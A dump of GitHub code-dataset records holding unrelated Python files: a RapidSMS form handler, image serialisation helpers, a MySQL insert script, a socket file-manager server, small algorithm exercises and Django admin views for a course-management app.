_foreign_key_lookups = {\"Location\" : \"code\" }\n\n def validate(self, *args, **kwargs):\n message = args[0]\n form_entry = args[1]\n # in case we need help, build a valid reminder string\n # TODO put this in the db!\n if form_entry.form.code.abbreviation == \"report\":\n required = ['location', 'immunized', 'notimmunized', 'vaccines']\n data = form_entry.to_dict()\n\n # check that ALL FIELDS were provided\n missing = [t for t in required if data[t] is None]\n \n # missing fields! collate them, and\n # send back a friendly non-localized\n # error message, then abort\n if missing:\n mis_str = \", \".join(missing)\n return [\"Missing fields: %s\" % mis_str, help]\n \n # all fields were present and correct, so copy them into the\n # form_entry, for \"actions\" to pick up again without re-fetching\n form_entry.rep_data = data\n \n # is ready to spawn a Reporter object\n return None\n elif form_entry.form.code.abbreviation in self._form_lookups.keys():\n # we know all the fields in this form are required, so make sure they're set\n # TODO check the token's required flag\n required_tokens = [form_token.token for form_token in form_entry.form.form_tokens.all() if form_token.required]\n for tokenentry in form_entry.tokenentry_set.all():\n if tokenentry.token in required_tokens:\n # found it, as long as the data isn't empty remove it\n if tokenentry.data:\n required_tokens.remove(tokenentry.token)\n if required_tokens:\n req_token_names = [token.abbreviation for token in required_tokens]\n errors = \"The following fields are required: \" + \", \".join(req_token_names)\n return [errors]\n return None\n \n def actions(self, *args, **kwargs):\n message = args[0]\n form_entry = args[1]\n\n if self._form_lookups.has_key(form_entry.form.code.abbreviation):\n to_use = self._form_lookups[form_entry.form.code.abbreviation]\n form_class = to_use[\"class\"]\n field_list = to_use[\"fields\"]\n # create and save the model from the form data\n instance = self._model_from_form(message, form_entry, form_class, dict(field_list), self._foreign_key_lookups)\n instance.time = message.date\n \n # if the reporter isn't set then populate the connection object.\n # this means that at least one (actually exactly one) is set\n # the method above sets this property in the instance\n # if it was found.\n instance.connection = message.persistant_connection if message.persistant_connection else None\n\n if not hasattr(instance, \"reporter\") or not instance.reporter:\n response = \"\"\n # personalize response if we have a registered reporter\n else:\n response = \"Thank you %s. \" % (instance.reporter.first_name)\n instance.save()\n response = response + \"Received report for %s %s: \" % (form_entry.domain.code.abbreviation.upper(), to_use[\"display\"].upper())\n # this line pulls any attributes that are present into a dictionary\n attrs = dict([[attr[1], str(getattr(instance, attr[1]))] for attr in field_list if hasattr(instance, attr[1])])\n # Instead of having the reason code sent back to the reporter,\n # retrieve and set a more descriptive reason\n if attrs.has_key(\"reason\"):\n attrs['reason'] = NonCompliance.get_reason(attrs['reason'])\n \n # concatenates the inner list on \"=\" and joins the outer on \", \" so we get \n # attr1=value1, attr2=value2\n response = response + \", \".join([ key + \"=\" + value for (key, value) in attrs.items() ])\n \n # Since we are not expecting reporters to pre-register, we\n # should suppress generating this.\n # if not instance.reporter:\n # response = response + \". Please register your phone\"\n \n \n '''The following routines will retrieve the alerting groups and send alerts\n to the members of the group'''\n if form_entry.form.code.abbreviation == \"shortage\" or form_entry.form.code.abbreviation == \"nc\":\n # Retrieve all the alert_groups attached to this form\n for alert_group in Alerting.objects.filter(form=form_entry.form):\n # Now we need to retrieve reporters having ancestors equal to the\n # highest hierarchy defined in the group\n location_ancestor = instance.location.get_ancestors().get(type=alert_group.location_hierarchy)\n\n # retrieve all group members having the same location_ancestor\n alert_reporters = []\n for group in alert_group.groups.all():\n for alert_reporter in group.reporters.all():\n try:\n if alert_reporter.location == location_ancestor or alert_reporter.location.get_ancestors().get(type=alert_group.location_hierarchy) == location_ancestor:\n alert_reporters.append(alert_reporter)\n except Location.DoesNotExist:\n pass\n\n for notified_reporter in alert_reporters: \n # I think it's much easier to tell someone the number is 0803.* instead of +234803.*\n if form_entry.form.code.abbreviation == \"shortage\": \n # If the reporter exists, we generate an alert message with the reporters information\n # if not, we just report the reporter's phone number\n if instance.reporter:\n message_to_send = \"Hello %s, there is a shortage of %s in %s, reported by %s (%s)\" % (notified_reporter.first_name, instance.commodity.upper(), instance.location, instance.reporter, re.sub(\"^\\+?234\", \"0\", instance.reporter.connection().identity))\n else:\n message_to_send = \"Hello %s, there is a shortage of %s in %s, reported by (%s)\" % (notified_reporter.first_name, instance.commodity.upper(), instance.location, re.sub(\"^\\+?234\", \"0\", message.connection.identity))\n \n elif form_entry.form.code.abbreviation == \"nc\":\n if instance.reporter:\n message_to_send = \"Hello %s, there is a non-compliance report from %s (Reason:%s, Cases:%s), reported by %s (%s)\" % (notified_reporter.first_name, instance.location, NonCompliance.get_reason(instance.reason), instance.cases, instance.reporter, re.sub(\"^\\+?234\", \"0\", instance.reporter.connection().identity))\n else:\n message_to_send = \"Hello %s, there is a non-compliance report from %s (Reason:%s, Cases:%s), reported by (%s)\" % (notified_reporter.first_name, instance.location, NonCompliance.get_reason(instance.reason), instance.cases, re.sub(\"^\\+?234\", \"0\", message.connection.identity))\n\n alert_message = MessageWaiting()\n alert_message.backend = instance.connection.backend\n alert_message.time = instance.time\n alert_message.destination = notified_reporter.connection().identity\n alert_message.status = \"I\"\n alert_message.text_message = message_to_send\n \n alert_message.save()\n \n message.respond(response, StatusCodes.OK)\n","repo_name":"takinbo/rapidsms-borno","sub_path":"apps/ipd/formslogic.py","file_name":"formslogic.py","file_ext":"py","file_size_in_byte":9357,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"36748254577","text":"# type: ignore\nfrom datetime import datetime\nfrom cam_pb2 import Raw, Result\nimport numpy as np\nimport cv2 as cv\nimport torch\n\ndef encodeToRaw(frame, id):\n m = Raw()\n gray = cv.resize(frame, [416, 416])\n _, buffer = cv.imencode(\".jpg\", gray)\n m.cameraID = id\n m.frame = buffer.tobytes()\n m.timestamp = str(int(datetime.now().timestamp()))\n return m.SerializeToString()\n\ndef decodeFromRaw(buffer):\n m = Raw()\n m.ParseFromString(buffer)\n # decode frame to img\n nparr = np.frombuffer(m.frame, np.uint8)\n img = cv.imdecode(nparr, cv.IMREAD_COLOR)\n return {\n \"cameraID\": m.cameraID,\n \"frame\": m.frame,\n \"timestamp\": m.timestamp,\n \"img\": img,\n }\n\ndef encodeResult(result):\n m = Result()\n m.cameraID = result[\"cameraID\"]\n m.frame = encodeToBytes(result[\"frame\"])\n m.timestamp = result[\"timestamp\"]\n m.result = result[\"result\"]\n return m.SerializeToString()\n\ndef decodeResult(buffer):\n m = Result()\n m.ParseFromString(buffer)\n nparr = np.frombuffer(m.frame, np.uint8)\n # decode image\n img = cv.imdecode(nparr, cv.IMREAD_COLOR)\n return {\n \"cameraID\": m.cameraID,\n \"frame\": m.frame,\n \"timestamp\": m.timestamp,\n \"img\": img,\n \"result\": m.result,\n }\n\ndef encodeToBytes(frame):\n _, buffer = cv.imencode(\".jpg\", frame)\n return buffer.tobytes()\n\ndef decodeFromBytes(buffer):\n nparr = np.frombuffer(buffer, np.uint8)\n # decode image\n img = cv.imdecode(nparr, cv.IMREAD_COLOR)\n return img\n\n# raw = cam_pb2.Raw()\n# raw.ParseFromString(msg.value())\n# id = raw.cameraID\n# time = datetime.fromtimestamp(int(raw.timestamp))\n# print(id, time)\n# frame = decodeFromBytes(raw.frame)\n# if not (frame is None):\n# cv2.imshow(\"frame\", frame)\n# if cv2.waitKey(1) == ord(\"q\"):\n# break","repo_name":"TuanMaiz/producer-jetson","sub_path":"serde.py","file_name":"serde.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71812214454","text":"\"\"\"\n !/usr/bin/env python3.6\n -*- coding: utf-8 -*-\n --------------------------------------\n @Description : Store the processed data in the database\n --------------------------------------\n @File : data2database.py\n @Time : 2018/9/2 21:46\n @Software : PyCharm\n --------------------------------------\n @Author : lixj\n @Contact : lixj_zj@163.com\n --------------------------------------\n\"\"\"\n\nimport pymysql\nimport time\nimport gevent\nfrom dataRelated import dataProcessing\nimport traceback\n\nclass data2Mysql:\n def __init__(self):\n self.host = \"localhost\"\n self.user = \"root\"\n self.password = \"123456789\"\n self.database = \"ai_recommendation\"\n self.charset = \"utf8\"\n\n def DBConnect(self):\n self.conn = pymysql.connect(host = self.host, user = self.user, password = self.password, database = self.database, charset = self.charset)\n self.cursor = self.conn.cursor();\n\n # 异步插入数据\n def asynchronous(self, maxLineInsert, totalDataVolume, jsonData):\n taskList = [gevent.spawn(self.write2mysql(i, i+maxLineInsert, jsonData)) for i in range(1, totalDataVolume, maxLineInsert)]\n gevent.joinall(taskList)\n self.cursor.close()\n self.conn.close()\n\n def write2mysql(self, nmin, nmax, jsonData):\n list = []\n for i in range(nmin, nmax):\n list.append((jsonData.uuid, jsonData.title, jsonData.dateTime, jsonData.url, None,\n jsonData.content, time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())))\n\n sql = \"INSERT INTO news(news_id, title, time_publish, source, abstract, content, time_create) values \" \\\n \"(%s, %s, %s, %s, %s, %s, %s)\"\n try:\n affectedRows = self.cursor.executemany(sql, list)\n # 打印输出依然耗时\n # if affectedRows:\n # print(\"已完成:\", affectedRows, \"行.\")\n self.conn.commit()\n except:\n print(traceback.format_exc())\n self.conn.rollback()\n\n# jsonData 作为参数传递的次数越少越好\nif __name__ == '__main__':\n oneJsonData = dataProcessing.getOneJsonData()\n\n # 每次最大插入行数\n maxLineInsert = 100\n # 插入数据总数\n totalDataVolume = 1000\n\n beginTime = time.time()\n data2Mysql = data2Mysql()\n data2Mysql.DBConnect()\n data2Mysql.asynchronous(maxLineInsert, totalDataVolume, oneJsonData)\n print(\"used time:\", (time.time()-beginTime))\n","repo_name":"yaojin-li/AI_recommendation_system","sub_path":"dataRelated/data2database.py","file_name":"data2database.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7961910811","text":"import pandas as pd\nimport numpy as np\n\ndef gen_txt(file='sampler.txt'):\n out = open(file, 'w')\n df = pd.read_csv(\"metadata.csv\", index_col='image_id')\n for row in df.itertuples():\n a = row.Index\n valdf = df.drop(a, axis = 0)\n pdf = valdf[valdf.whale_id==row.whale_id]\n ndf = valdf[valdf.whale_id!=row.whale_id]\n if len(pdf)==0:\n print(f\"Only one sample of this class: {a}\")\n continue\n p = (pdf.sample(1)).index[0]\n n = (ndf.sample(1)).index[0]\n line = ' '.join([a, p, n])\n out.write(\"%s\\n\"% line)\n \n out.close()\n\nif __name__ == \"__main__\":\n gen_txt()\n\n","repo_name":"Abdigal1/belugas_classification","sub_path":"sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74175985331","text":"import sys\r\n\r\nsys.stdin = open('input.txt', 'r')\r\n#input = sys.stdin.readline\r\n\r\ntot_num, nums = map(int, input().split())\r\ntot_real = tot_num + 1\r\ntot_list = []\r\n\r\ndef numbering(tmp_list, visited, depth):\r\n if(depth > 1):\r\n for i in range(1, tot_real):\r\n if(not visited[i]):\r\n tmp_list.append(i)\r\n visited[i] = 1\r\n numbering(tmp_list, visited, depth - 1)\r\n tmp_list.pop()\r\n visited[i] = 0\r\n else:\r\n tot_list.append(' '.join(list(map(str, tmp_list))))\r\n\r\nfor i in range(1, tot_real):\r\n temp = []\r\n visiting = [0 for _ in range(tot_real)]\r\n temp.append(i)\r\n visiting[i] = 1\r\n numbering(temp, visiting, nums)\r\n\r\nprint('\\n'.join(tot_list))","repo_name":"IanRyu54/Baekjoon","sub_path":"Practice/N and M(15649).py","file_name":"N and M(15649).py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32145287799","text":"import select\nimport socket\nimport sys\nimport queue\nimport pickle\nimport os\nimport json\nimport datetime\nfrom time import strftime\nimport subprocess\nimport sys\nimport threading\nimport time\nimport random\n\n# Create a TCP/IP socket\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.setblocking(0)\nprocesses = {}\nkernelStatus = False\ndie = False\n\n# Bind the socket to the port\nserver_address = ('localhost', 10002)\nprint('starting up on {} port {}'.format(*server_address),\n file=sys.stderr)\nserver.bind(server_address)\n\ndef sendToKernel(message):\n try:\n appSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n appSocket.connect(('localhost', 10000))\n appSocket.send(pickle.dumps(message))\n response = appSocket.recv(1024)\n appSocket.close()\n response = pickle.loads(response)\n print(response)\n return response\n except:\n print('error')\n\ndef checkKernelStatus():\n global kernelStatus\n global die\n time.sleep(10)\n localKernelStatus = kernelStatus\n while True:\n if localKernelStatus != kernelStatus:\n print(localKernelStatus)\n kernelStatus = localKernelStatus\n try:\n data = sendToKernel({'type': 'check', 'src': 'APP', 'dst': 'KRL'})\n if data['status'] == 'online':\n localKernelStatus = True\n except:\n localKernelStatus = False \n print('kernel off')\n die = True\n time.sleep(1)\n\ndef handleMessage(s, message):\n global die\n message = pickle.loads(message)\n print(message)\n if message['type'] != 'stopFM' and message['type'] != 'check' and message['type'] != 'store':\n randomNumber = random.randint(1, 4)\n if randomNumber == 4:\n s.send(pickle.dumps({'type': 'check', 'status': 'error', 'src': 'APP', 'dst': 'KRL', 'error': 'error'}))\n return\n elif randomNumber > 1:\n s.send(pickle.dumps({'type': 'check', 'status': 'pending' ,'src': 'APP', 'dst': 'KRL'}))\n time.sleep(randomNumber)\n if message['type'] == 'createFolder':\n try:\n os.mkdir(os.path.dirname(os.path.abspath(__file__)) +'/folders/' + message['name'])\n s.send(pickle.dumps({'type': 'createFolder', 'status': 'success', 'name': message['name'], 'src': 'FMR', 'dst': 'GUI'}))\n except FileExistsError:\n s.send(pickle.dumps({'type': 'createFolder', 'status': 'failure', 'name': message['name'], 'src': 'FMR', 'dst': 'GUI'}))\n elif message['type'] == 'check':\n try: s.send(pickle.dumps({'type': 'check', 'status': 'online', 'src': 'FMR', 'dst': 'KRL'}))\n except socket.error:\n sys.exit(9)\n os._exit(9)\n elif message['type'] == 'stop':\n sys.exit(9)\n os._exit(9)\n elif message['type'] == 'stopFM':\n s.send(pickle.dumps({'type': 'stopFM', 'status': 'success', 'src': 'FMR', 'dst': 'KRL'}))\n sys.exit(9)\n os._exit(9)\n elif message['type'] == 'store':\n try:\n fecha = datetime.datetime.now()\n message['message']['date'] = fecha.strftime(\"%m/%d/%Y, %H:%M:%S\")\n strm = str(message['message'])\n jsonprueba = json.dumps(strm)\n entry = json.loads(jsonprueba)\n\n if not os.path.exists('logs.txt'):\n f = open('logs.txt','x')\n f.write('[]')\n f.close()\n \n f = open('logs.txt','r')\n data = json.load(f)\n data.append(entry)\n f = open('logs.txt','w')\n json.dump(data,f,indent=4)\n f.close()\n \n s.send(pickle.dumps({'type': 'store', 'status': 'success', 'src': 'FMR', 'dst': 'GUI'}))\n except socket.error:\n print('error')\n \n\n elif message['type'] == 'deleteFolder':\n try:\n os.rmdir(os.path.dirname(os.path.abspath(__file__))+\"/folders/\"+message['name'])\n s.send(pickle.dumps({'type': 'deleteFolder', 'status': 'success', 'name': message['name'], 'src': 'FMR', 'dst': 'GUI'}))\n except:\n s.send(pickle.dumps({'type': 'deleteFolder', 'status': 'failure', 'name': message['name'], 'src': 'FMR', 'dst': 'GUI'}))\n \n\n# Listen for incoming connections\nserver.listen(5)\n\ninputs = [server]\noutputs = []\nmessage_queues = {}\n\nkernelCheck = threading.Thread(target=checkKernelStatus)\nkernelCheck.setDaemon(True)\nkernelCheck.start()\n\nwhile inputs:\n\n if die:\n sys.exit(9)\n os._exit(9)\n # Wait for at least one of the sockets to be\n # ready for processing\n readable, writable, exceptional = select.select(inputs,\n outputs,\n inputs,\n 0)\n # Handle inputs\n for s in readable:\n\n if s is server:\n # A \"readable\" socket is ready to accept a connection\n connection, client_address = s.accept()\n print(' connection from', client_address,\n file=sys.stderr)\n connection.setblocking(0)\n inputs.append(connection)\n\n # Give the connection a queue for data\n # we want to send\n message_queues[connection] = queue.Queue()\n else:\n data = s.recv(1024)\n if data:\n # A readable client socket has data\n message_queues[s].put(data)\n # Add output channel for response\n if s not in outputs:\n outputs.append(s)\n\n for s in writable:\n try:\n next_msg = message_queues[s].get_nowait()\n except queue.Empty:\n # No messages waiting so stop checking\n # for writability.\n print(' ', s.getpeername(), 'queue empty',\n file=sys.stderr)\n outputs.remove(s)\n else:\n handleMessage(s, next_msg)\n outputs.remove(s)\n inputs.remove(s)\n del message_queues[s]\n \n for s in exceptional:\n print('exception condition on', s.getpeername(),\n file=sys.stderr)\n # Stop listening for input on the connection\n inputs.remove(s)\n if s in outputs:\n outputs.remove(s)\n s.close()\n\n # Remove message queue\n del message_queues[s]","repo_name":"dcalleg707/sockets","sub_path":"register-server.py","file_name":"register-server.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35745193752","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\n# O(1) space, O(n) time\nclass Solution:\n def oddEvenList(self, head: ListNode) -> ListNode:\n if head==None or head.next==None:\n return head\n odd = head\n even = head.next\n initial_even = even\n \n x = even.next \n \n while x:\n temp = x\n even.next = x.next\n even = even.next\n\t\t\t\n odd.next = temp\n odd = odd.next\n\t\t\t\n x= even.next if even else None\n \n odd.next = initial_even\n \n \n return head\n ","repo_name":"jyotijauhari/DSA-questions-Python","sub_path":"07_LinkedList/9. OddEvenLinkedList.py","file_name":"9. OddEvenLinkedList.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"44472220950","text":"#by far the most challenging one solved, needed to take helof resources but learned it.\n#Define a function and we loop till till length by 2 for first digit\n#and length minus first value by 2 for second one\n#could understand only one function\n\n\ndef is_additive_seq(self, num):\n length = len(num)\n for i in range(1, int(length/2 + 1)):\n for j in range(1, int((length-i)/2 + 1)):\n first, second, others = num[:i], num[i:i+j], num[i+j:]\n if self.isValid(first, second, others):\n return True\n return False\n\n","repo_name":"shubh-q-ba/practice","sub_path":"python_assessment/assessment11.py","file_name":"assessment11.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5703728449","text":"from banyan.api.base import ApiBase\nfrom banyan.model import BanyanApiObject\nfrom banyan.model.role import Role, RoleInfo, RoleInfoOrName\n\n\nclass RoleAPI(ApiBase):\n class Meta:\n data_class = Role\n info_class = RoleInfo\n arg_type = RoleInfoOrName\n list_uri = '/security_roles'\n delete_uri = '/delete_security_role'\n insert_uri = '/insert_security_role'\n uri_param = 'RoleID'\n obj_name = 'role'\n\n def enable(self, role: RoleInfoOrName) -> str:\n role = self.find(role)\n json_response = self._client.api_request('POST',\n '/enable_security_role',\n params={'RoleID': str(role.id)})\n return json_response['Message']\n\n def disable(self, role: RoleInfoOrName) -> str:\n role = self.find(role)\n json_response = self._client.api_request('POST',\n '/disable_security_role',\n params={'RoleID': str(role.id)})\n return json_response['Message']\n\n def create(self, obj: BanyanApiObject) -> str:\n self._ensure_does_not_exist(obj.name)\n response_json = self._client.api_request('POST',\n self.Meta.insert_uri,\n json=obj.Schema().dump(obj))\n return response_json['RoleID']\n","repo_name":"banyansecurity/pybanyan","sub_path":"banyan/api/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"73031491253","text":"from playhouse.migrate import PostgresqlMigrator, migrate\n\nfrom redash.models import db\nfrom redash import models\n\nif __name__ == '__main__':\n db.connect_db()\n migrator = PostgresqlMigrator(db.database)\n\n with db.database.transaction():\n migrate(\n migrator.add_column('queries', 'schedule', models.Query.schedule),\n )\n\n db.database.execute_sql(\"UPDATE queries SET schedule = ttl WHERE ttl > 0;\")\n\n migrate(\n migrator.drop_column('queries', 'ttl')\n )\n\n db.close_db(None)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/getredash_redash/redash-master/old_migrations/0007_add_schedule_to_queries.py","file_name":"0007_add_schedule_to_queries.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"72777592054","text":"import unittest\nfrom unittest import TestCase\nfrom hamcrest import *\nfrom yamlparser.yamlparser import Node\n\n\nclass YamlNodeConstructionTest(TestCase):\n def test_node_with_none_type(self):\n n = Node({})\n assert_that(n.type == \"NoneType\")\n\n def test_node_without_type(self):\n assert_that(calling(Node).with_args({\"a\": \"b\"}),\n raises(ValueError, \"no type attribute\"))\n\n def test_node_profession(self):\n n = Node({\"type\": \"profession\", \"name\": \"Coiffeur\"})\n assert_that(n.type, is_(\"profession\"))\n assert_that(n.name, is_(\"Coiffeur\"))\n assert_that(hasattr(n, \"text\"), is_(False))\n\n def test_node_person(self):\n n = Node({\"type\": \"person\", \"name\": \"John Doe\"})\n assert_that(n.type, is_(\"TextNode\"))\n assert_that(n.name, is_(\"John Doe\"))\n assert_that(n.text, is_(\"John Doe\"))\n\n def test_node_body_valid_subs(self):\n n = Node({\"type\": \"body\", \"name\": \"10 Forward\",\n \"sub\": [{\"type\": \"person\", \"name\": \"Hans\"}]})\n assert_that(n.type, is_(\"body\"))\n assert_that(n.name, is_(\"10 Forward\"))\n\n def test_node_body_invalid_subs(self):\n args = {\"type\": \"body\", \"name\": \"10 Forward\",\n \"sub\": [{\"type\": \"error\", \"name\": \"Hacker\"}]}\n assert_that(calling(Node).with_args(args),\n raises(ValueError, \"Type not allowed in subs\"))\n\n def test_node_role_flag_valid(self):\n args = {\"type\": \"role\", \"position\": \"Major\", \"name\": \"John Doe\",\n \"flags\": [\"executive\"]}\n n = Node(args)\n assert_that(n.type, is_(\"role\"))\n assert_that(n.name, is_(\"John Doe\"))\n assert_that(n.executive, is_(True))\n\n def test_node_role_flag_invalid(self):\n args = {\"type\": \"role\", \"position\": \"Major\", \"name\": \"John Doe\",\n \"flags\": [\"error\"]}\n assert_that(calling(Node).with_args(args),\n raises(ValueError, \"Flag not allowed\"))\n\n def test_node_role_flag_valid_textnode(self):\n args = {\"type\": \"role\", \"position\": \"Major\", \"name\": \"John Doe\",\n \"flags\": [\"executive\",\"is_text\"]}\n n = Node(args)\n assert_that(n.type, is_(\"TextNode\"))\n assert_that(n.name, is_(\"John Doe\"))\n assert_that(n.executive, is_(True))\n assert_that(n.is_text, is_(True))\n assert_that(n.text, is_(\"Major: John Doe\"))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"allmaennitta/LibreOfficePy","sub_path":"tests/yaml_node_construction_test.py","file_name":"yaml_node_construction_test.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6627170387","text":"data=list(input())\nrod = 0\ncon = 0\nanswer = 0\nfor i in range(1, len(data)+1):\n if(data[i]!=data[i-1]):\n if(rod==0):\n rod+=1\n con+=1\n else:\n answer+=rod*2\n\n else:\n rod+=1\n\n","repo_name":"kkkmj/algorithm_study","sub_path":"실패/10799.py","file_name":"10799.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21772472947","text":"from datetime import datetime, timedelta\n\nfrom injector import inject\nfrom telegram import Update, Bot\nfrom telegram.ext import Dispatcher\n\nfrom booking.scheduler import Scheduler, SchedulerInfo, SchedulerStatus\nfrom bot.handler.decorator.TypingDecorator import typing\nfrom bot.handler.filter import RegexFilter, IsAdminHandlerFilter\nfrom . import FilterableHandler\n\n\nclass StartSchedulerHandler(FilterableHandler):\n\n @inject\n def __init__(self, scheduler: Scheduler, is_admin_filter: IsAdminHandlerFilter):\n super().__init__()\n self._scheduler = scheduler\n self.add_filter(RegexFilter(['/start_scheduler'], case_sensitive=True))\n self.add_filter(is_admin_filter)\n self._waiting_users = []\n self._scheduler_status = SchedulerStatus.IDLE\n self._bot = None\n self._scheduler.on_new_info().subscribe(self._on_scheduler_status_changed)\n\n @typing\n def handle_update(self, update: Update, dispatcher: Dispatcher):\n bot = dispatcher.bot # type: Bot\n if update.message.chat_id not in self._waiting_users:\n self._waiting_users.append(update.message.chat_id)\n\n if self._scheduler_status != SchedulerStatus.RUNNING:\n self._scheduler.re_schedule()\n self._bot = bot\n bot.send_message(update.message.chat_id, \"Scheduler started\")\n else:\n bot.send_message(update.message.chat_id, \"Scheduler already running.\")\n return True\n\n def _on_scheduler_status_changed(self, new_info: SchedulerInfo):\n if new_info.status == SchedulerStatus.COMPLETED:\n if self._bot and len(self._waiting_users) > 0:\n next_refresh = datetime.now() + timedelta(seconds=new_info.next_refresh)\n message = \"Schedule completed.\\nNext refresh at {0}\\nTotal Events: {1}\".format(\n next_refresh.strftime(\"%H:%M\"), new_info.total_events)\n for user in self._waiting_users:\n self._bot.send_message(user, message)\n self._waiting_users.clear()\n self._bot = None\n","repo_name":"manu0466/BookingBot","sub_path":"src/bot/handler/StartSchedulerHandler.py","file_name":"StartSchedulerHandler.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"5627553028","text":"import datetime\nfrom django.contrib import messages\nfrom django.shortcuts import render,redirect,HttpResponse\nfrom app1.models import check_error, course, exam, exam_registration, fee_payment, option_error, question, question_bank, result, review, student_admission,tbl_idgen,staff,student,login,event\nfrom django.core.files.storage import FileSystemStorage\nimport os\nfrom twilio.rest import Client\n\n\ndef sample(request):\n return render(request,\"sample.html\")\ndef index(request):\n data=review.objects.all()\n data1=course.objects.all()\n return render(request,\"index.html\",{'data':data,'data1':data1})\ndef form(request):\n return render(request,\"form.html\")\ndef loginpage(request):\n return render(request,\"login_page.html\")\ndef adminmenubar(request):\n return render(request,\"admin_menubar.html\")\ndef addcourse(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.courseid\n id = int(id+1)\n courseid = \"CO_00\" + str(id)\n request.session[\"courseid\"] = id\n return render(request,\"add_course.html\",{'courseid':courseid})\ndef addingcourse(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=course()\n data.course_id=request.POST.get('id')\n data.course_name=request.POST.get('name')\n data.fee=request.POST.get('fee')\n data.description=request.POST.get('desc')\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.courseid=request.session[\"courseid\"]\n data1.save()\n return render(request,\"admin_index.html\")\ndef table(request):\n return render(request,\"table.html\")\ndef coursetbl(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=course.objects.all()\n return render(request,\"table_course.html\",{'data1':data})\ndef removecourse(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=course.objects.get(course_id=p1)\n data.delete()\n return redirect('/coursetbl')\ndef updatecourse(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=course.objects.get(course_id=p1)\n return render(request,\"update_course.html\",{'data1':data})\ndef updatedcourse(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=course.objects.get(course_id=p1)\n data.course_id=request.POST.get('id')\n data.course_name=request.POST.get('name')\n data.fee=request.POST.get('fee')\n data.description=request.POST.get('desc')\n data.save()\n return redirect('/coursetbl')\ndef staffappoint(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.staffid\n id = int(id+1)\n staffid = \"ST_00\" + str(id)\n request.session[\"staffid\"] = id\n return render(request,\"appoint_staff.html\",{'staffid':staffid})\ndef staffappointing(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=staff()\n data.staff_id=request.POST.get('id')\n data.staff_name=request.POST.get('name')\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data.doj=time1\n data.house_name=request.POST.get('hname')\n data.street=request.POST.get('street')\n data.district=request.POST.get('district')\n data.phone=request.POST.get('phone')\n data.email=request.POST.get('email')\n data.dob=request.POST.get('dob')\n data.qualification=request.POST.get('qual')\n data.experience=request.POST.get('exp')\n data.status=\"Appointed\"\n data.save()\n\n data2=login()\n data2.username=request.POST.get('id')\n data2.password=request.POST.get('phone')\n data2.category=\"Staff\"\n data2.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.staffid=request.session[\"staffid\"]\n data1.save()\n return redirect('/staffappoint')\ndef stafftbl(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=staff.objects.all()\n return render(request,\"table_staff.html\",{'data1':data})\ndef updatestaff(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=staff.objects.get(staff_id=p1)\n return render(request,\"update_staff.html\",{'data1':data})\ndef updatedstaff(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=staff.objects.get(staff_id=p1)\n data.staff_id=request.POST.get('id')\n data.staff_name=request.POST.get('name')\n data.doj=request.POST.get('doj')\n data.house_name=request.POST.get('hname')\n data.street=request.POST.get('street')\n data.district=request.POST.get('district')\n data.phone=request.POST.get('phone')\n data.email=request.POST.get('email')\n data.dob=request.POST.get('dob')\n data.qualification=request.POST.get('qual')\n data.experience=request.POST.get('exp')\n data.status=request.POST.get('status')\n data.save()\n\n data2=login.objects.get(username=p1)\n data2.username=request.POST.get('id')\n data2.password=request.POST.get('phone')\n data2.category=\"Staff\"\n data2.save()\n return 